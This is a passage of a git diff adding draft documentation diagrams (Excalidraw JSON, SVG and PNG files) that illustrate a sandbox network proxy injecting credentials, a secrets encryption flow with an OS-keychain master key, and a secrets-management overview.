"y": 150, + "width": 140, + "height": 70, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#dbeafe", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "text_container", + "type": "text" + } + ], + "version": 2, + "versionNonce": 138430655, + "index": "a2", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772736551060, + "link": null, + "locked": false + }, + { + "id": "text_container", + "type": "text", + "x": 110, + "y": 165, + "width": 120, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Container", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "container", + "boundElements": [], + "version": 2, + "versionNonce": 1364518577, + "index": "a3", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772736551060, + "link": null, + "locked": false, + "originalText": "Container", + "autoResize": true, + "lineHeight": 2.5 + }, + { + "id": "proxy", + "type": "rectangle", + "x": 320, + "y": 150, + "width": 140, + "height": 70, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#3b82f6", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "arrow2", + "type": "arrow" + }, + { + "id": "text_proxy", + "type": "text" + } + ], + "version": 2, + "versionNonce": 1205262559, + "index": "a4", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772736551060, + "link": null, + "locked": false + }, + { + "id": "text_proxy", + "type": "text", + "x": 330, + "y": 165, + "width": 120, + "height": 40, + "angle": 0, + "strokeColor": "#ffffff", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Proxy", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "proxy", + "boundElements": [], + "version": 2, + "versionNonce": 1749477521, + "index": "a5", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772736551060, + "link": null, + "locked": false, + "originalText": "Proxy", + "autoResize": true, + "lineHeight": 2.5 + }, + { + "id": "external_service", + "type": "rectangle", + "x": 540, + "y": 150, + "width": 140, + "height": 70, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow2", + "type": "arrow" + }, + { + "id": "text_external", + "type": "text" + } + ], + "version": 2, + "versionNonce": 1382442239, + "index": "a6", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772736551060, + "link": null, + "locked": false + }, + { + "id": "text_external", + "type": "text", + "x": 550, + "y": 165, + "width": 120, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "External\nService", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "external_service", + "boundElements": [], + "version": 2, + "versionNonce": 962440817, + "index": "a7", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772736551060, + "link": null, + "locked": false, + "originalText": "External\nService", + "autoResize": true, + "lineHeight": 1.4285714285714286 + }, + { + "id": "arrow1", + "type": "arrow", + "x": 240, + "y": 185, + "width": 80, + "height": 0, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 80, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "container", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "proxy", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "version": 2, + "versionNonce": 1466920223, + "index": "a8", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772736551060, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "id": "arrow2", + "type": "arrow", + "x": 460, + "y": 185, + "width": 80, + "height": 0, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 80, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "proxy", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "external_service", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "version": 2, + "versionNonce": 727758929, + "index": "a9", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772736551060, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "id": "label_inject", + "type": "text", + "x": 347.8125, + "y": 210, + "width": 84.375, + "height": 40, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "│\n▼\nInjects Auth", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "boundElements": [], + "version": 3, + "versionNonce": 2107319953, + "index": "aA", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772736553427, + "link": null, + "locked": false, + "containerId": null, + "originalText": "│\n▼\nInjects Auth", + "autoResize": true, + "lineHeight": 1.1111111111111112 + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/sandbox-network-proxy.png b/docs/drafts/assets/sandbox-network-proxy.png new file mode 100644 index 0000000000..beb7305c49 Binary files /dev/null and b/docs/drafts/assets/sandbox-network-proxy.png differ diff --git a/docs/drafts/assets/sandbox-network-proxy.svg b/docs/drafts/assets/sandbox-network-proxy.svg new file mode 100644 index 0000000000..d30bb143ee --- /dev/null +++ b/docs/drafts/assets/sandbox-network-proxy.svg @@ -0,0 +1,4 @@ + + +Sandbox Network ProxyCredential Injection FlowContainerProxyExternalServiceInjects Auth \ No newline at end of file diff --git a/docs/drafts/assets/screenshots/web-chat-overview.png b/docs/drafts/assets/screenshots/web-chat-overview.png new file mode 100644 index 0000000000..6355adb882 Binary files /dev/null and b/docs/drafts/assets/screenshots/web-chat-overview.png differ diff --git a/docs/drafts/assets/screenshots/web-extensions-overview.png b/docs/drafts/assets/screenshots/web-extensions-overview.png new file mode 100644 index 0000000000..4da70d0756 Binary files /dev/null and b/docs/drafts/assets/screenshots/web-extensions-overview.png differ diff --git a/docs/drafts/assets/screenshots/web-memory-overview.png b/docs/drafts/assets/screenshots/web-memory-overview.png new file mode 100644 index 0000000000..1dd00b4819 Binary files /dev/null and b/docs/drafts/assets/screenshots/web-memory-overview.png differ diff --git a/docs/drafts/assets/screenshots/web-routines-overview.png b/docs/drafts/assets/screenshots/web-routines-overview.png new file mode 100644 index 0000000000..9973d57385 Binary files /dev/null and b/docs/drafts/assets/screenshots/web-routines-overview.png differ diff --git a/docs/drafts/assets/screenshots/web-settings-overview.png b/docs/drafts/assets/screenshots/web-settings-overview.png new file mode 100644 index 0000000000..3dc692ab0c Binary files /dev/null and b/docs/drafts/assets/screenshots/web-settings-overview.png differ diff --git a/docs/drafts/assets/screenshots/web-skills-list.png b/docs/drafts/assets/screenshots/web-skills-list.png new file mode 100644 index 0000000000..912962e5e1 Binary files /dev/null and b/docs/drafts/assets/screenshots/web-skills-list.png differ diff --git a/docs/drafts/assets/secrets-encryption-flow.excalidraw b/docs/drafts/assets/secrets-encryption-flow.excalidraw new file mode 100644 index 0000000000..728222b36f --- /dev/null +++ b/docs/drafts/assets/secrets-encryption-flow.excalidraw @@ -0,0 +1,602 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "id": "jnqDkcXxlQypJIV2jZfPn", + "type": "rectangle", + "x": 587.19140625, + "y": 148.8984375, + "width": 147.359375, + "height": 82.5078125, + "angle": 0, + "strokeColor": "#1e1e1e", + "backgroundColor": "#a5d8ff", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "groupIds": [], + "frameId": null, + "index": "Zz", + "roundness": { + "type": 3 + }, + "seed": 1705063761, + "version": 215, + "versionNonce": 2092967935, + "isDeleted": false, + "boundElements": [ + { + "id": "arrow2", + "type": "arrow" + } + ], + "updated": 1772738456910, + "link": null, + "locked": false + }, + { + "id": "title", + "type": "text", + "x": 228.3470982142856, + "y": 14.675781249999986, + "width": 397.0200892857144, + "height": 34.679687500000014, + "angle": 0, + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Secrets Encryption Flow", + "fontSize": 27.74375000000001, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "boundElements": [], + "version": 130, + "versionNonce": 64332031, + "index": "a0", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738634080, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Secrets Encryption Flow", + "autoResize": false, + "lineHeight": 1.25 + }, + { + "id": "subtitle", + "type": "text", + "x": 278.9765625, + "y": 52.87109375, + "width": 300, + "height": 20, + "angle": 0, + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Master Key Protected", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "boundElements": [], + "version": 132, + "versionNonce": 261564703, + "index": "a1", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738634080, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Master Key Protected", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "secret_plain", + "type": "rectangle", + "x": 100, + "y": 150, + "width": 160, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#fed7aa", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "text_secret", + "type": "text" + } + ], + "version": 2, + "versionNonce": 1134323601, + "index": "a2", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772738368353, + "link": null, + "locked": false + }, + { + "id": "text_secret", + "type": "text", + "x": 110, + "y": 170, + "width": 140, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Secret\n(Plain)", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "secret_plain", + "boundElements": [], + "version": 2, + "versionNonce": 543970815, + "index": "a3", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738368353, + "link": null, + "locked": false, + "originalText": "Secret\n(Plain)", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "encrypted_store", + "type": "rectangle", + "x": 340, + "y": 150, + "width": 160, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#ddd6fe", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "arrow2", + "type": "arrow" + }, + { + "id": "arrow_key", + "type": "arrow" + }, + { + "id": "text_encrypted", + "type": "text" + } + ], + "version": 2, + "versionNonce": 732646769, + "index": "a4", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772738368353, + "link": null, + "locked": false + }, + { + "id": "text_encrypted", + "type": "text", + "x": 350, + "y": 170, + "width": 140, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Encrypted\nStore", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "encrypted_store", + "boundElements": [], + "version": 2, + "versionNonce": 831471135, + "index": "a5", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738368353, + "link": null, + "locked": false, + "originalText": "Encrypted\nStore", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "text_storage", + "type": "text", + "x": 601.8046875, + "y": 169.43359375, + "width": 120, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Storage\n(Database)", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "boundElements": [], + "version": 137, + "versionNonce": 197709919, + "index": "a6", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738451660, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Storage\n(Database)", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "os_keychain", + "type": "rectangle", + "x": 340, + "y": 320, + "width": 160, + "height": 80, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "arrow_key", + "type": "arrow" + }, + { + "id": "text_keychain", + "type": "text" + } + ], + "version": 2, + "versionNonce": 1247814207, + "index": "a7", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772738368353, + "link": null, + "locked": false + }, + { + "id": "text_keychain", + "type": "text", + "x": 350, + "y": 340, + "width": 140, + "height": 40, + "angle": 0, + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "OS Keychain\n(AES-256)", + "fontSize": 16, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "containerId": "os_keychain", + "boundElements": [], + "version": 2, + "versionNonce": 618226993, + "index": "a8", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738368353, + "link": null, + "locked": false, + "originalText": "OS Keychain\n(AES-256)", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "id": "arrow1", + "type": "arrow", + "x": 260, + "y": 190, + "width": 80, + "height": 0, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 80, + 0 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "secret_plain", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "encrypted_store", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "version": 2, + "versionNonce": 1002406495, + "index": "a9", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772738368353, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "id": "arrow2", + "type": "arrow", + "x": 506, + "y": 190.08648455983635, + "width": 75.19140625, + "height": 0.06863328552998382, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 75.19140625, + 0.06863328552998382 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "encrypted_store", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "elementId": "jnqDkcXxlQypJIV2jZfPn", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "version": 28, + "versionNonce": 1391262687, + "index": "aA", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772738456910, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "id": "arrow_key", + "type": "arrow", + "x": 420, + "y": 230, + "width": 0, + "height": 90, + "angle": 0, + "strokeColor": "#1e3a5f", + "backgroundColor": "#1e3a5f", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 90 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "encrypted_store", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "os_keychain", + "fixedPoint": [ + 0.5001, + 0.5001 + ] + }, + "version": 2, + "versionNonce": 1719524991, + "index": "aB", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772738368353, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "id": "label_master_key", + "type": "text", + "x": 440, + "y": 265, + "width": 100, + "height": 20, + "angle": 0, + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "roughness": 0, + "opacity": 100, + "text": "Master Key", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "left", + "verticalAlign": "middle", + "boundElements": [], + "version": 2, + "versionNonce": 800361713, + "index": "aC", + "isDeleted": false, + "strokeStyle": "solid", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772738368353, + "link": null, + "locked": false, + "containerId": null, + "originalText": "Master Key", + "autoResize": true, + "lineHeight": 1.4285714285714286 + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/secrets-encryption-flow.png b/docs/drafts/assets/secrets-encryption-flow.png new file mode 100644 index 0000000000..44279da75f Binary files /dev/null and b/docs/drafts/assets/secrets-encryption-flow.png differ diff --git a/docs/drafts/assets/secrets-encryption-flow.svg b/docs/drafts/assets/secrets-encryption-flow.svg new file mode 100644 index 0000000000..5f095d355f --- /dev/null +++ b/docs/drafts/assets/secrets-encryption-flow.svg @@ -0,0 +1,4 @@ + + +Secrets Encryption FlowMaster Key ProtectedSecret(Plain)EncryptedStoreStorage(Database)OS Keychain(AES-256)Master Key \ No newline at end of file diff --git a/docs/drafts/assets/secrets-overview.excalidraw b/docs/drafts/assets/secrets-overview.excalidraw new file mode 100644 index 0000000000..ddf4792f2a --- /dev/null +++ b/docs/drafts/assets/secrets-overview.excalidraw @@ -0,0 +1,1189 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://excalidraw.com", + "elements": [ + { + "type": "text", + "id": "title", + "x": 226.92578125, + "y": 17.359375, + "width": 400, + "height": 40, + "text": "Secrets Management", + "originalText": "Secrets Management", + "fontSize": 32, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#1e40af", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500001, + "version": 67, + "versionNonce": 6657297, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aC4", + "frameId": null, + "roundness": null, + "updated": 1772739161928, + "autoResize": true + }, + { + "type": "text", + "id": "subtitle", + "x": 226.66015625, + "y": 62.2265625, + "width": 400, + "height": 25, + "text": "Zero-Exposure Credential Model", + "originalText": "Zero-Exposure Credential Model", + "fontSize": 18, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "top", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500003, + "version": 68, + "versionNonce": 1816859999, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aC8", + "frameId": null, + "roundness": null, + "updated": 1772739166857, + "autoResize": true + }, + { + "type": "rectangle", + "id": "storage", + "x": 85, + "y": 120, + "width": 180, + "height": 100, + "strokeColor": "#b91c1c", + "backgroundColor": "#fecaca", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500010, + "version": 4, + "versionNonce": 1772366527, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "storage_title", + "type": "text" + }, + { + "id": "JYEhDuF2BsU-FA8oJnQ2_", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aCC", + "frameId": null, + "updated": 1772739088162 + }, + { + "type": "text", + "id": "storage_title", + "x": 105.2734375, + "y": 161.25, + "width": 139.453125, + "height": 17.5, + "text": "Encrypted Storage", + "originalText": "Encrypted Storage", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500012, + "version": 5, + "versionNonce": 2127794463, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "storage", + "lineHeight": 1.25, + "index": "aCG", + "frameId": null, + "roundness": null, + "updated": 1772739166003, + "autoResize": true + }, + { + "type": "text", + "id": "storage_desc", + "x": 120, + "y": 185, + "width": 110, + "height": 15, + "text": "AES-256-GCM", + "originalText": "AES-256-GCM", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500014, + "version": 3, + "versionNonce": 786946577, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aCK", + "frameId": null, + "roundness": null, + "updated": 1772739053285, + "autoResize": true + }, + { + "type": "rectangle", + "id": "keychain", + "x": 325, + "y": 120, + "width": 150, + "height": 100, + "strokeColor": "#b45309", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500020, + "version": 5, + "versionNonce": 754180721, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "keychain_title", + "type": "text" + }, + { + "id": "JYEhDuF2BsU-FA8oJnQ2_", + "type": "arrow" + }, + { + "id": "KhQUyK1H6053434D0UCdh", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aCO", + "frameId": null, + "updated": 1772739094810 + }, + { + "type": "text", + "id": "keychain_title", + "x": 350, + "y": 157.5, + "width": 100, + "height": 25, + "text": "OS Keychain", + "originalText": "OS Keychain", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500022, + "version": 3, + "versionNonce": 837054449, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "keychain", + "lineHeight": 1.25, + "index": "aCV", + "frameId": null, + "roundness": null, + "updated": 1772739053285, + "autoResize": true + }, + { + "type": "text", + "id": "keychain_desc", + "x": 351.296875, + "y": 185.78515625, + "width": 110, + "height": 15, + "text": "Master Key", + "originalText": "Master Key", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500024, + "version": 40, + "versionNonce": 610300305, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aCZ", + "frameId": null, + "roundness": null, + "updated": 1772739101422, + "autoResize": true + }, + { + "type": "rectangle", + "id": "proxy", + "x": 552.37890625, + "y": 117.96875, + "width": 150, + "height": 100, + "strokeColor": "#047857", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500030, + "version": 81, + "versionNonce": 1027310641, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "proxy_title", + "type": "text" + }, + { + "id": "arrow3", + "type": "arrow" + }, + { + "id": "KhQUyK1H6053434D0UCdh", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aCd", + "frameId": null, + "updated": 1772739112315 + }, + { + "type": "text", + "id": "proxy_title", + "x": 577.37890625, + "y": 155.46875, + "width": 100, + "height": 25, + "text": "Network Proxy", + "originalText": "Network Proxy", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500032, + "version": 77, + "versionNonce": 679335441, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "proxy", + "lineHeight": 1.25, + "index": "aCh", + "frameId": null, + "roundness": null, + "updated": 1772739112315, + "autoResize": true + }, + { + "type": "text", + "id": "proxy_desc", + "x": 563.3984375, + "y": 176.4921875, + "width": 125.20703125000004, + "height": 30, + "text": "Credential\nInjection", + "originalText": "Credential Injection", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#64748b", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500034, + "version": 73, + "versionNonce": 813097503, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": null, + "lineHeight": 1.25, + "index": "aCl", + "frameId": null, + "roundness": null, + "updated": 1772739114598, + "autoResize": false + }, + { + "type": "rectangle", + "id": "container", + "x": 535, + "y": 300, + "width": 180, + "height": 80, + "strokeColor": "#1e3a5f", + "backgroundColor": "#dbeafe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500040, + "version": 5, + "versionNonce": 630667601, + "isDeleted": false, + "groupIds": [], + "boundElements": [ + { + "id": "container_title", + "type": "text" + }, + { + "id": "arrow3", + "type": "arrow" + }, + { + "id": "arrow4", + "type": "arrow" + } + ], + "link": null, + "locked": false, + "roundness": { + "type": 3 + }, + "index": "aCp", + "frameId": null, + "updated": 1772739076574 + }, + { + "type": "text", + "id": "container_title", + "x": 545, + "y": 327.5, + "width": 160, + "height": 25, + "text": "Docker Container", + "originalText": "Docker Container", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500042, + "version": 3, + "versionNonce": 645253521, + "isDeleted": false, + "groupIds": [], + "boundElements": [], + "link": null, + "locked": false, + "containerId": "container", + "lineHeight": 1.25, + "index": "aCt", + "frameId": null, + "roundness": null, + "updated": 1772739053285, + "autoResize": true + }, + { + "type": "rectangle", + "id": "external", + "x": 550, + "y": 450, + "width": 150, + "height": 80, + "strokeColor": "#64748b", + "backgroundColor": "#f1f5f9", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "seed": 500050, + "version": 